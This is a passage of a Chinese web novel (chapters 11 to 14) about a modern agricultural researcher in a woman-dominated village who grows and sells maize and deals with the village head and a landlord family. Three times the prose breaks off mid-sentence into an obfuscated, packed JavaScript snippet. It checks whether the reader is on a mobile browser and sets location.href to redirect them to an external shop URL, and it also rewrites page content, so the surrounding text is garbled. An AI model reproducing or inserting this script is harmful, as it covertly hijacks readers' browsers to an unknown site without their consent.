胡二娘对自家老爹的看法非常认同:“就是。爹,你没见着在山下,程丫头见到她家夫郎腿上伤时心疼的那样,照理说那会她刚签了文书,卖主还没走呢,她看到阿峥腿上有伤,不说找卖主麻烦退给他,还慌得不得了找郎中。竹郎,当时你也在,你也看见了对吧,当时程娘子是不是急得脸都白了。” 竹郎嗯了一声,说:“程娘子是个好人。” 他和叶云峥一起被卖,在同一个台子上找卖主,所以也算清楚里头的事。 他是被自己叔婶卖了,叶云峥是被公爹卖了。可他叔婶好歹对他有一丝怜悯,叮嘱牙婆莫要将他卖给人做侍,无论如何也要寻个好人家做夫。 而叶云峥的公爹就完全不顾他的死活。 他还记得当时叶云峥被公爹拽到台上的时候,模样简直凄惨极了。 那时叶云峥的头发乱糟糟的,上面还挂着灰尘泥浆,脸上也是灰蒙蒙的一片,五官都被掩盖得有些模糊不清。 他瘦得厉害,身上的衣服松松垮垮地挂着,一直低垂着脑袋,眼睛里一片麻木。 然而今日再看叶云峥,简直和从前判若两人。如果不是他亲眼看到程娘子买下的叶云峥,他都不敢认。 他身上穿着整洁干净的衣裳,头发梳得整整齐齐,柔顺地垂在肩头,脸上的灰尘早已不见,取而代之的是红润的气色。 更让人觉得欣慰的是他的眼睛里有了光芒。 叶云峥他真是找了个好人家啊。 胡二夫郎看了眼自家娘子憨厚的笑容,想到她结实的身子,脸上一红,自己也找到了好归宿。 真好。 希望以后风调雨顺,他和叶云峥以前受的苦都能化成甜。 11. 处暑11 临江县是个小县,在其所属的青州府有几十个如临江县一样的小县。桥头村则是这个小县中非常不起眼的一个。 桥头村的特殊之处在于它地形起伏很大,种的东西也是五花八门,比如山下的水田一般种稻子,山上平地旱田一般种小麦和大豆,坡地种谷子和油菜,这就导致了桥头村的田赋收起来比较麻烦。 收成好的时候,村民们喜欢提前纳粮,因为刚收的粮食比较占地方,还不用占用自家粮架,交了省事。 可收成不好时,大家则是一拖再拖,若是年成实在不好,拖到最后说不定能等到朝廷减免赋税,留得一线生机。 若是朝廷派兵过来看押着把最后一点口粮搜刮了,基本也就等着饿死了。既然都要死了,拖着还能多活一天。 桥头村今年的秋税收得很差,到现在纳秋税的人家也不多。 今年自打谷雨以后就滴雨未下,若是家中有旱田的还好,可以挑水来浇田。家中水田多,又引渠种了稻子的,能收上个十之一二就不错了,饭都吃不上了,谁还来交赋税。 吴村正站在田垄上看着干枯的稻苗,心里头直发愁,再这样下去,只怕桥头村就要有第一批吃不上饭的人了。 以往欠收的时候,她便会联合村里的几家大户,把那吃不上饭的人家雇来当帮工,管他们一个冬天的饭,反正这几家田多,能干活的人不够,就是丰年也要花钱请长工。她身为村正,也算是为村里做点事,欠年请村里人帮忙还能多落个好名声。 可今年南边来了好些个难民,出几斗粮食就能白得一个劳动力,村里大户都没忍住,全跑去买了,就连她家也买了个干活的。 当时谁能想到今年就下了几场小雨呢?连山下的沟渠都快干了,离渠远点的水田早就干了,近一点的也是半旱不干。 大家这才慌了神。 多出来的仆从人口又要耗掉大量的粮食,吴家族长早就找她说过今天吴家本家不会雇人了,地主周家也放风声说自己家干活人够了。 照这么下去只怕村里人要卖田卖地才能养活一家老小。 更可恨的是这些个地主大户还想趁火打劫,趁着田里欠收,买些土地。 地主周家的管家还找过来说,若是有那有意向卖田的,记得先跟她说一声,她家愿意出价买上几亩。 周家是临江县有名的大户,好几个庄都有她家的田地。她们家倒是不住在乡里,说是为了小女儿上学,全都住在十几里外的镇上。 周家管家说她家来了几个投靠过来的穷亲戚,不想管他们在城里吃住,又怕失了亲戚情分,正好桥头村他们有现成的房子,想买几亩水田,把穷亲戚扔到乡里来。 吴家本家也来了几个老太婆说,若是有人卖田,记得把好处留给本家人。 要吴村正说,她可真想呸到那些个人的丑脸上。 桥头村之前就是块荒地,吴村正是吴家的不受待见的小女儿,在吴家根本说不上话,分了块山头就被撵出来了,其他来桥头村的也都是各个庄子上交不上粮卖了地的穷苦人,是她带着几个姐妹一点点把桥头村垦出来的。 现在这些地主大户想坐享其成,真是人丑想得倒美。 可不管吴村正多么气闷,她也只是个小小的村正,若是真的荒年来了,她也没办法养活整个村子的人,自然也拦不住村民们卖田卖地。 这些年也不是没卖过。 桥头村山下那些属于吴家和周家的良田不就是这么买到手的吗? 她是眼睁睁地看着当初垦出来的上好水田被几个大户趁着流年一点点地占走,而桥头村真正的开荒户如胡家、程家,一步步地往山上退。 年年开荒年年卖,最后只剩个几亩旱田。 想到这儿,她心里忽然有了些盘算,既然水田收成差,旱田相对还好,如是旱田多的人家过得不错,出点粮帮村里人挺过这关就好了。 就算是卖地,卖给自己村的人也比卖给那两个狗大户强啊。 胡家好像过得还不错,她家二女儿是个肯干的。还有十几亩地,估计能养活自己,听自家老头子说,他家拿粮食换了个夫郎回来,前些日子还带到山下认门来着,说不定她家能帮上忙。 程家……算了,程家这一辈的小闺女似乎是个不成事的,当初程家妹子卖了水田后带着小闺女上山,好些年才垦出来两亩地,程妹子死了之后,她那个闺女就没再新垦出来地过了。 那两亩地种的吧,也是稀稀拉拉,能养活自己就不错了。 听女儿吴俏说钓鱼的时候碰到程家丫头,她竟然也买了个夫郎,不过她的夫郎似乎是个有病还是嫁过人怎么着,反正就是有问题的,比胡二娘买的便宜。 吴村正鼻子里不屑地喷气,天天钓鱼,能有什么出息,八成是跟自己那个不成事的二流子闺女一样,能养活自己就不错了,这种事儿找程家闺女便是浪费时间。 吴村正打定主意,回来跟自家夫君道:“你赶紧弄点饭,我吃完了要去山上老胡家一趟。” “老胡家?胡家二娘今儿一早和咱家闺女还有程家闺女去城里了,她家就一个小夫郎一个老鳏夫,你去那儿干啥?” 吴村正愣了下:“吴俏跟胡二娘一起去山下?俏娘什么时候这么懂事,知道跟正经人一块玩了?别是她又带坏好人家的娘子了。” 吴娘子以前都是跟不正经的人一起玩,被她打了几次,断了银钱后就天天钓鱼,反正不愿意下地干活,胡二娘是老实肯干的庄稼人,没道理能和吴娘子玩到一起。 吴正夫不乐意听吴村正贬低女儿,维护道:“怎么就叫带坏了,咱们女儿本就讨人喜欢,就是生性自在而已。” 吴村正哼了一声,不以为然,不过既然胡二娘不在,那今日也没必要着急去山上了,坐下来慢悠悠地问:“你怎么知道他们一块去山下了,他们去做什么了?” 吴正夫拉着她的袖子,迫不及待地跟她分享今天的八卦:“今天山上老胡家的又带着他家小夫郎过来了,还带了个长的可水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712131|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的小郎君哩,你猜是哪家新纳的夫郎。” 吴村正扯开他道:“直接说,少卖关子。” 吴正夫瞪了吴村正一眼,这老太婆年纪越大越古板,没意思了:“是程家闺女买的那个小夫郎,模样可真好,唉,就花了半斛粮食就买到这样水灵的郎君,我都想给咱家俏娘买一个了,现在正经聘一个夫郎得花多少钱呐。” “那些逃难来的小郎无依无靠的,你乐意女儿到时候连个亲家都没有,孙女孙子连个外家走亲戚都找不到?还是想让咱们那不成器的女儿养活穷丈人一家?她能养活自己不错了!” 吴正夫自然是知道这个道理,可这不是女儿一直拖着不愿意找夫郎,他心里头急得慌。 吴村正听了刚刚吴正夫的话,心中微微一动,想到程家丫头能买到这么水灵的夫郎,或许也不是完全没出息? 吴正夫忽然拍了下大腿:“哦,对了,程家夫郎拿了些自家种的新鲜物什给咱家,叫什么玉米还是玉麦的,我拿来给你尝尝,正好也垫垫肚子。” 说罢,吴正夫从厨房把玉米端出来,递了一根给吴村正。 吴村正尝了一口玉米,惊讶地发现它的口感与以往吃过的食物截然不同,香甜软糯,忍不住一口接着一口地吃。 吴正夫:“听说程家今年就是种的这个,俏娘还去看了,说是绝对能收一千斤朝上。把里头棒子去了,光上面的粒粒就能收五六石,俏娘就是下山跟他们打听这个东西的销路去了。” 吴村正一面吐槽女儿不干正事,觉得不以为然,大白米饭和馒头才是真正的粮食,这个吃了也就是个玩意。 她一边说着女儿不成器之类的话,不知不觉吃了三根,她本以为这就是跟瓜果一样不占肚子的东西,结果中午吃饭时肚子一点都不饿,米饭都吃不下。 晚上,吴俏回到家,一家三口围着桌子等开饭。 吴俏兴奋地分享着今天的经历:“娘,我们今天去了好几个粮铺,那些老板都不识货,只肯低价收我们的玉米。后来还是我灵机一动,想起带着程明月和胡二娘去了临江最大的酒楼。那酒楼老板是个识货的,说两亩的玉米她都能吃下,她想要新鲜的,一根按六文收。明月还拿乔,说只卖三千根玉米,不想卖完。” 今天下山一趟她突然发现和程明月特别合得来,也不喊程娘子了,直接喊上明月了。 吴村正听了,心中暗暗计算着,三千根玉米,一根六文,那就是五万文,足足十八两银子啊,够买两亩上好水田了。 她自是不信:“你就唬人吧,我才不信。” 吴俏哼道:“我可没唬你,后天清晨那个掌柜带人就来收了,你不信可以自己去看。反正我跟程明月说好了明日收玉米和后日卖玉米时都去帮忙的。” 吴村正嘴上虽然不信,但心里却已经开始惦记这件事了。 晚上躺在床上,她翻来覆去地的睡不着,如果吴俏说的是真的,那……那有了这么多钱,今年桥头村就能挺过这一关了啊。 12. 处暑尽白露临 古代诗人写白露,大多数喜欢通过萧条的秋意来衬托内心的悲凉。 比如白居易写的“白露凋花花不残,凉风吹叶叶初干。”以及杜甫笔下的“露从今夜白,月是故乡明。” 然而,对于农民而言,白露和秋分却正是为秋收秋种做准备的忙碌时期。此时,当年最后一波农作物逐渐进入成熟期或已成熟,同时也要为明年的小麦和菜籽等作物翻地播种做准备,提前准备种子、肥料等。 一旦过了秋分开始秋收了,那真是一刻都不得闲,什么也做不了。 在这个桥头村的村民们都在埋头检查谷子和自家稻子的时候,程明月在忙活她的玉米。 如今的程明月是既没有时间去关心花残叶落,也没有心情抬头望月、低头思乡。 她此刻满心所想的,是如何将两亩地的玉米一根不剩地收完,以及收完后如何储存和出售。 程明月再次感慨幸好她赶在收玉米前把叶云峥买了下来,不然她一个人是真的干不完。 叶云峥的腿已经结疤,涂完三次药之后,他便说腿伤已经结痂,程明月担心他强撑,还曾用主人的身份逼着他把腿伤给自己看。 看到伤口确实已经愈合,程明月才放心下来,开始让他承担一些较轻的体力活。 别看叶云峥只是女尊世界的男子,干起农活来比程明月老练多了!他就和程明月以前见过的农村大娘一样勤快能干。 除了因生理因素导致力气不如程明月大之外,他干活非常利落。 想想也是,叶云峥出嫁后在妻家可是正经下过地的,而程明月这个农业研究生虽然拥有丰富的理论知识,但真正干农活的熟练度肯定比不上农村大娘。 她以前的学校很好,学校花费大量资金培养农学生,是希望他们能研究出更新的知识,比拼的是谁的种子毒性低、价值高,以及研究成果推广后能造福多少农民、提高多少产量,而不是谁真的能下地干几亩地的活。 以前,只要是实验所需,研究生可以向学校申请找周围农民作为教工来帮忙,程明月他们都是抽样观察结论,知道操作方法,写好论文就行了,她其实没真正完完整整的独立干过农活。 想她以前连收割机都没开过几次,但现在为了生存,却要亲手一个个的把玉米扭断掰下来。 对于一些长得比较高或者比较粗壮的玉米秆,则需要用镰刀先将玉米秆砍倒,再掰。 掰下的玉米会先放入背篓中,当背篓装满后,还要把玉米集中堆放到田间地头。 光是收玉米就已经完全占据了程明月所有醒着的时间了,现在家里烧火煮饭,打扫养鸡是叶云峥干自是不必说,连挑水劈柴这种活都被叶云峥接过去了。 他忙完这些后,还能过来帮程明月把田间地头的玉米用推车一趟趟地推到晾场。 叶云峥只要是醒着,手上的活就没停过,程明月总是感慨买他真好,这个决定做的真睿智。 这种农忙时分,两个人对伙食都没有特别高的要求了,能吃饱就行。 昨天晚上叶云峥用最后一点白面蒸了一大锅野菜包子。 中午,他馏上几个包子,带着几根煮玉米和饮水,拿到田间地头,和程明月肩并肩坐在充满生机的“青纱帐”下随便对付几口。 瓦罐里的水是煮玉米的水,玉米捞出后,剩的水可不能浪费,正好可以当作饮用水。喝上一口,透着玉米的清甜,非常解乏。 程明月喝了好几大口,转头看到叶云峥脸上手上被玉米叶子划出来的细小伤痕,心疼的对叶云峥说:“这两天辛苦你了,等玉米卖完,我们好好歇上一天,再收棉花种土豆。” 叶云峥嘴里还嚼着包子,不便说话,便仰起脸冲程明月笑了笑。 程明月总是把“辛苦”“谢谢”之类的话挂在嘴边,或者变着花样地夸赞他。起初,叶云峥还会红着脸辩驳两句,后来听多了也就习惯了,也懒得与她争辩,只是每次都会冲她微笑。 日头偏西,昨天说好要来帮忙的吴俏才推着辆小推车慢悠悠的从山下上来。 程明月对吴俏说:“你要是来的再晚一点,我们都收完了,你也不用来了。” 两个人的速度还是很快的,而且只有两亩地,如果不是怕把棉花踩坏需要避着点,他们能干的更快。程明月和叶云峥两个人从清晨干到下午,便能把所有玉米都摘完了。 吴俏笑着说:“正好你们干完了,我来帮你们数玉米,不然明天万一数错了就不好了。” 程明月忍不住在心里翻白眼,推了下叶云峥说:“阿峥,你去晾场上数玉米去,吴俏你过来跟我一起掰玉米。” 吴俏看着吊儿郎当,干起活来倒是靠谱,毕竟是个农村长大的女人,在她的配合下,两个人很快就把要掰的玉米掰完了。 吴俏觉得干的不过瘾,看着还剩的一小片地说:“明月,这些你真不摘了?” 程明月推着小推车说:“不摘,那些是我留的种子,走了,去晾场帮阿峥数玉米了。” 玉米的收成比程明月预料的要好,光收下来的就有四千多根,按比例算程明月留的那些有几百根,挑出来四五袋种子应该没问题。 程明月看着堆积如山的玉米说:“山下的酒楼掌柜能收得了这么多吗?” 如果不是那个掌柜说有多少他要多少,而且点明了要新鲜的,新鲜的给的价高。她是打算把玉米放老了之后再收的,那样的话,玉米存储的时间久。 吴俏说:“你放心,那掌柜的又不是只供自家,她还可以往乡里酒楼,隔壁县酒楼送,还能往县里头的大家门户里送。” 程明月道:“最好是这样,不然这些鲜玉米可放不了太久。” 吴俏眯着眼睛笑:“放心吧,她肯定一次全给你拉完。这剩下的说不定还会给你一笔封口费,让你答应不要卖给别家去呢。” 程明月明白了,这不就是垄断嘛:“以防有人跟她出一样的菜色。” 吴俏挑眉:“就说明月是聪明人,要是胡二那个木头疙瘩,卖三年都想不明白。” 程明月失笑,说:“趁着天还没黑,一块去看看胡二在做什么吧。” 她想去看看这里的人是怎么收谷子的。 叶云峥说:“那你们去吧,我回去做晚饭了。”说完他便转身想走,被程明月一把拉住:“吃饭早点晚点都一样,走,一起去看收谷子去。” 他们收拾好东西,准备过河去胡二娘家的田地。 来到必经的桥边,河水在夕阳的余晖下波光粼粼,河面不宽,水流也较为平缓。 程明月看到这条河,就想起自己已经很多天没吃肉了,不由得想和吴俏聊聊抓鱼的事情。 “钓鱼很看天气的,晴天要钓浑水,钓远水,钓深水;阴天要钓清水,钓近水,钓浅水。” 吴俏点头称是。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712132|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程明月接着说:“还有,鱼饵的选择也很重要,要根据不同的鱼种选择合适的鱼饵。比如鲫鱼喜欢吃蚯蚓,鲤鱼喜欢吃玉米。” 鲤鱼喜欢吃玉米?吴俏一脸学到了的表情,这个她还真不知道,央求程明月一会给她一筐玉米。 程明月自然满口答应,这次玉米能卖出去,吴俏出了大力。 “到时候我教你怎么用玉米做鱼饵,不过说起来,还是打窝后用渔网捞最省事。” “那不行,捞鱼就失去钓鱼的乐趣了。” 三人说着话一同来到了胡二娘的田里,令人意外的是,胡二娘不在田里干活,找了两圈才发现她和一位老妇蹲在田边聊天。 “娘?你怎么在这儿。”吴俏惊讶道。 早上吴俏还以为吴村正会好奇跟她一起来程明月这儿看玉米,谁知喊她时她不动,说什么自己家的地也正是收谷子的时候,她要去盯着,不能让外来的长工种坏了,浪费田地之类的话。 现在怎么又跑来山上跟胡二娘聊天了。 “我们在交流种地的经验,你要听?你懂吗?” 吴村正瞪了吴俏一眼,这个不懂事的丫头,明知道她好奇程家的玉米,中午吃完饭就随口问了一句她要不要一起去,她说不去还就真不喊她了,也不知道多请她老娘两遍。 推了家里的推车就往山上跑,也不知道她从哪练的腿脚,吴村正在后头撵都撵不上。 吴村正抹不下脸,又实在好奇,就爬到坡上胡二娘的田地这儿了,本来打算晚点装作顺路过去看一眼,结果到了胡二娘的地里,聊了下收完谷子要种什么的事儿,不知不觉聊上了。 胡二娘看到程明月,开心地说:“正在说你教我的条播法种麦子和油菜的事儿,快来给村正也说说。” 程明月笑着说:“你肯定已经说清了,哪里需要我多嘴。” 胡二娘说:“我哪有你说的清楚,你快来再说上一遍。” 程明月便又将条播相对于撒播的好处说了一遍,一边说一边还去胡二娘田里指点了间距、株距以及一些注意事项。 吴村正跟在后头听得入了神,半晌,她背着手说:“有道理,确实有道理啊,我晚上回去就跟长工说,回头我家稻子收了之后也这么种小麦。” 山下的水田一般都是春夏蓄水种水稻,秋冬放掉水后种麦子,一年两熟。 等到胡二娘扶着吴村正跟着程明月等人又回到山上程明月的两亩旱田,吴村正看着这两亩地里的作物,震惊得目瞪口呆,简直不敢相信自己的眼睛。 她的手哆哆嗦嗦的指着田地,嘴巴微微张开,却半晌说不出话来,整个人仿佛被定住了一般。 胡二娘和叶云峥这个年纪的人,虽然种过几年地,但不知道土地的极限在哪里,也不过是佩服程明月厉害,感慨程明月的地种得好而已,并不会多想,所以才能表现的如此淡然。 吴俏更不用提。 但对吴村正这样种了一辈子地的老农来说,这两块地含金量可就太高了。 她种了一辈子地,见过无数的庄稼,但从未见过如此丰饶的收成。 这……这真的是可以吃的粮食吗?! 这真不是在做梦吗? 吴村正用手颤颤巍巍的摸了摸那挨得结结实实的玉米,又轻轻触碰了一下大朵的棉铃,话都说不好了。 这长得是庄稼吗?这长得是金子! 13. 白露01 吴俏显得比程明月还得意,叉着腰跟她老娘炫耀说:“比预计的多收了一千多根玉米呢!总共有将近五千根玉米,明月说脱粒后都起码有一千斤!怎么样,你天天说你种地厉害,你一亩地种出来过一千斤粮食吗?” 吴村正无视女儿的炫耀,指着被留种的玉米和棉花之前的空隙问程明月:“这里之前也种东西了?” “种了大豆。” 在吴村正瞪大的双眼中,程明月笑着说:“大豆种的不多。” 种大豆主要是为了调节土壤营养。 “不多?”吴村正满脸疑惑,目光紧紧地盯着那片空隙,似乎在努力想象着曾经生长着大豆的模样。 她微微皱起眉头,心中暗自思忖,这丫头小小年纪,怎么会有这本事,当年的程妹子种地本领也不过了了。 然后吴村正指了指空着地里乱作一团,只有杆子没有玉米棒的玉米秸秆问:“那些,之前也跟着些一样,长的这么多这么密?每根杆子都能长好几个棒子?” “是。” 程明月之前研究的就是不影响种植密度的前提下,如何提高农作物的单株结实率。 吴村正满心震惊地在那两亩旱田边愣了许久,目光在程明月和那硕大的棉铃之间来回游移,几次欲言又止。 纠结了半天,她还是忍不住问:“这话……这话本不该问,可我实在想不明白啊,程小娘子,你这么小的年纪,从哪知道这么多道理的,还有这玉米,你又是从哪里得来的!” 程明月心说,终于来了。 她已经为了这个问题编过太多故事了,终于有人问她这个问题了。 她清了清嗓正想开口,便听到一旁的吴俏说:“娘,这是人家明月自己的本事,随便告诉你还得了?你明知道不该问还问,这不就是倚老卖老吗?” 吴村正被女儿一句话堵得气上不来,要是平时她就打了,这次她有点理亏,指着吴俏的鼻子气的说不出话。 程明月笑说:“没关系,这没什么不能说的。” 都是编好的,有什么不能说的。 程明月微微扬起下巴,眯起眼睛缓缓说道:“村正有所不知,前些日子我上山砍柴,在那深山之中,偶然遇见一位世外高人。那高人白发苍苍,仙风道骨,她见我勤劳善良,便传授于我这些种地之法,还赠予我这神奇的玉米种子。她说,此玉米乃上天所赐,若用心种植,必能造福一方百姓。我得高人指点,回来后便悉心照料这片土地,才有了如今的丰收景象。” 众人:…… 不晓得怎么吐槽,感觉她在胡说八道,但又不知道怎么反驳。 正当众人都陷入沉思时,吴村正突然提高音量问道:“你是不是约了悦来楼的掌柜的明早来你这儿收玉米?!” 程明月歪歪脑袋,疑惑地说:“对呀,怎么了?” 吴村正拍了下大腿,急切地说:“你这傻孩子,不能让她见到这两片田!悦来楼是周家的,那可不是什么好人。” 程明月更加困惑了:“有什么不妥吗?那周掌柜看上去慈眉善目,不像坏人啊。” 吴村正严肃地说:“周家是临江北边几个村最大的地主,平日里横行乡里,就算她之前没有恶意,不代表她见到你这片田不会起恶念。”吴村正又追问:“你是不是只答应卖她玉米,没答应别的?” 程明月点点头。 吴村正看了眼程明月,心中有些心虚,但还是强装镇定:“把玉米全搬到山下去,搬到我家。” “现在?”程明月抬头望了望天上的明月,此时虽还有亮光,但天色很快就会黑下来。 吴村正坚定地点点头:“趁着天色还没黑透,我们把玉米运到山下,明早在我家和周家人交易,我会出面帮你商谈。”她又看了看田边的作物,接着说:“还好你这里与山下隔着一条沟,明日让胡二娘和吴俏守着桥,任何人都不得放进来。” 吴村正之所以如此着急,并非仅仅为程明月担忧,更多的是为桥头村的未来考虑。 周掌柜又不可能把这些玉米棉花偷走,毕竟这是一种新庄稼,不是人人都能种好的,种植的方法只有程明月一个人知道。 吴村正是怕周家把程明月笼络过去,以周家平日作风,肯定就会把这种新庄稼和新棉花藏的严严实实的,奇货可居卖高价。 程明月看出来吴村正的心虚,不过她转念一想,大概也明白了吴村正的想法。 程明月敏锐地问道:“吴村正为我们做这些,可想要什么报酬?” 吴村正心虚地说:“这玉米都是你种的,我既没功又没劳,哪能要什么报酬。” 程明月道:“话不能这么说,村正费劲心思,还要帮我谈价,总是想要点什么吧。” 吴村正这才叹了口气,缓缓说道:“有两个小请求,希望程娘子不要拒绝。” 吴俏听了,打趣道:“两个请求还说少,娘您可真会说笑。” 吴村正白了自家闺女一眼,接着问道:“昨个我听说你打算多卖一千根玉米?” “没错,比我预计的多收了一千多点。” “那你今年这玉米卖给悦来楼之后,还会卖给别人吗?” “不会,剩的是我留来选种的,明年村正家若是想种,也可来与我换这玉米苗。” 吴村正听后放下心来:“这第一个请求便是,明日这多出来的一千根玉米由我来替你谈价,多出来的银子分一半入村里公账。第二个请求是,希望程娘子明年能带村人一起种这叫玉米的作物。” 她说完又补充道:“你放心,多出来的银子我不会贪,今年欠收厉害,拿到银子后我会拿去全换成粮食,秋税交完之后,若是有吃不上饭的家庭,公账上出粮救济,好歹让大家过个年。” 朝廷每年收秋税都是在过年之前,收完后许多人家甚至连年都过不下去。 程明月迟疑片刻,便点头答应。吴村正也是为了桥头村着想,更何况一部分本就是靠她多谈出来的,即便她自己昧下多出来的银子,也无可厚非。 程明月本就需要在桥头村立足,与村正打好关系总归是利大于弊。 就当是交投名状了。 于是,几个人在这个傍晚趁着天色,一趟又一趟地将玉米搬到山下吴村正家。搬到最后,天色已然黑透。 当最后一筐玉米倾倒在吴村正的院子里时,几个人都累得瘫倒在地,动弹不得。 吴村正的夫郎心疼地擦去女儿头上的汗水,对众人说道:“如此晚了,你们都还未做饭吧,别再忙活了,就在我家吃吧。” 胡二娘原本想回家,她惦记着家里的老爹和夫郎,却被吴村正留下。 看的出来吴村正在村里颇具威望,只要她一发话,胡二娘都是言听计从。 刚刚搬玉米的时候,胡二娘还不住的跟程明月说,吴村正多好多好,以前村里头有过不下去的人家,吴村正都是能帮则帮。 正好吴家水缸里还有吴俏之前钓的鱼,在程明月的指点下,吴正夫和叶云峥一起动手做了玉米炖鱼,旁边还贴着玉米面饼子,玉米混合着鱼香,一个劲儿地往鼻子里钻,馋得人那叫一个口水直流。 菜上桌后,程明月夹了一块鱼肚子肉放在嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712133|144602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,脂肪在嘴里化开的一刻,程明月感动的快要流泪。 汤汁浓稠,鱼肉软烂,味道鲜美非常,更重要的是,自从来了这个世界,她都多久没吃过肉了! 吴村正也夹起一块鱼肉放进嘴里,边吃边不住地赞叹:“这玉米炖鱼可真不错!真没想到这玉米既能做菜又能做粮。” 吴正夫则觉得玉米面贴饼子好吃的很,浓浓的谷物香气扑鼻而来,咬上一口,松松软软的,中间夹杂着没杵碎的玉米颗粒,很是可口。有颗粒因为是鲜玉米,不像玉米面能直接用,程明月让叶云峥拿菜刀把玉米粒切下来,杵烂后和粗面拌在一起做的,这样新鲜的玉米泥比玉米面好吃。 胡二娘咧着嘴笑:“咱明月有本事,不但地种得好,还能想出这么好吃的做法来。”等会她也管程明月换点玉米,回去让老爹和夫郎也尝尝这玉米炖鱼。 程明月看着自己种出来的玉米被大家夸赞,心里也美滋滋的,知道自己的成果有销路了,她也即将有一小笔积蓄了,自然是高兴。 她扭头看向叶云峥,叶云峥正温柔地笑着看她,眼睛亮亮的,程明月心里有种莫名的情绪在滋生,可她尚未察觉。 只是当她开心时却忍不住去看叶云峥的表情,看他是不是也在笑。 热热闹闹地吃了一顿热乎饭后,已经三更了,也干脆不睡觉了。 吴俏和胡二娘去山上守桥,不准任何人进山,程正夫和叶云峥在吴家等,程明月和吴村正去村头堵悦来楼掌柜。 他们站在村口,静静地等待着。夜风吹过,带来一丝凉意,但程明月想到自己现在身边的站着这么多人,心却安定下来。 终于,天还未亮,他们看到了一辆罩着麻布幔子的马车,程明月和吴村正连忙迎上去,果然是悦来楼胖掌柜,于是直接把她领去了吴家。 悦来楼胖掌柜本来还想打探这个玉米从哪来的,想去地里看看,被吴村正三言两语挡回去了。 随后吴村正和她开始谈判。 两个老狐狸你来我往,互不相让。 这次运下来四千根玉米,吴村正说原来的三千根按原价,也就是十八两,多出的一千根按照十二文一根卖,共十两,否则这一千根就要卖给别家。 总计三十两。 胖掌柜犹豫了一会儿,最终还是同意了这个价格,这个番麦以往是贡品,最近民间才刚有流通,京城能卖20文一根,这还是他们拿货价,做成菜之后更贵。本来六文一根的价格,就是她看程明月几个不懂事忽悠下来的。 但她有个条件,要吴村正和程明月保证今年不会在市面上有除了周家以外的玉米流通,以及明年如果有玉米要优先保证悦来楼的供货。 一手交钱一手交货,掌柜派了个伙计,清点完四千根玉米。随后,掌柜把三十两银子交给程明月,程明月仔细地叮嘱了玉米的保鲜方法,看着胖掌柜驾马车带着玉米远去。 如果全按照六文一根卖,只能卖二十四两,也就是说有六两是多出来的,程明月从里头捡了一块银子出来给吴村正。 吴村正连连拒绝:“说好了多出来的我拿一半的,你这块都有五两了。” 程明月:“村正也是为了村子好,就当我也为村子做点贡献。” 吴村正这才收了下来。 程程明月掂了掂手里沉甸甸的银子,脸上绽放出发自内心的笑容 总算是有了一小笔积蓄了,甚至比她原本设想的还好。 她仿佛看到了火炕、棉被、腊肉和各式各样的腌菜干货在围着她转圈。 这个冬天想来是能平安渡过了。 14. 白露02 这次玉米得以顺利卖出,胡二娘和吴俏着实出了大力。程明月表示,无论如何都得酬谢她们二位。 胡二娘连忙摆手拒绝:“我不过是帮你运了几趟玉米,又守了一早晨的桥罢了,哪能收你钱!你不是还送了我玉米嘛,明年我也想种点,到时候种的时候你指点我一点就好。” 程明月笑道:“那个不能直接种,我回头直接给你玉米种子吧。” 玉米是一种自花授粉的植物,但若要长得好,则需进行杂交授粉,即控制本株的雌蕊不授本株雄蕊的花粉,这一过程颇为繁琐。 这也是为什么程明月要留那一片地的种子不收的原因,那片地是她专门预留出来用作种子的,而其他的则是观察种子正常长出来的结果,模拟农民买了种子回家自己种的。 所以,之前她送人的玉米以及胖掌柜收走的玉米,如果拿来种植的话,虽然能长,但结果肯定不如用杂交种子长出的好。 吴俏原本倒是不客气的想要酬劳,却被她娘几声咳嗽制止了。在她娘那几乎要抽搐的眼神暗示下,她只好悻悻地说:“不用了,你也送我点玉米种子就行。” 听到女儿这次顺着自己的心意说话,吴村正笑的格外开心:“明月为人爽朗,肯定会用心教我们玉米种植之法。”吴村正和吴俏一样自来熟,几个时辰前还是程娘子呢,现在已经喊上明月了。 吴村正已经盘算过了,按照程明月的说法,这个东西里头的棒子不能吃,只有外头的玉米粒是可以食用的。就算如此,只算玉米粒,每亩地也能产一千斤,也就是五石。 而桥头村正常的主粮中,产量最高的稻子每亩地只能产两石,小麦和谷子大概是一石多点。【1】 但可贵的是它不用向稻、谷、麦一样脱壳,也就是说,从可入口的部分来算,它的产量能达到这里水田的三倍,旱田的四倍! 吴村正从她和悦来楼掌柜的聊天中得知,这个东西口感独特,可以作为一种新鲜玩意向上头那些奶奶们引荐,说不定能风靡一时卖出高价。 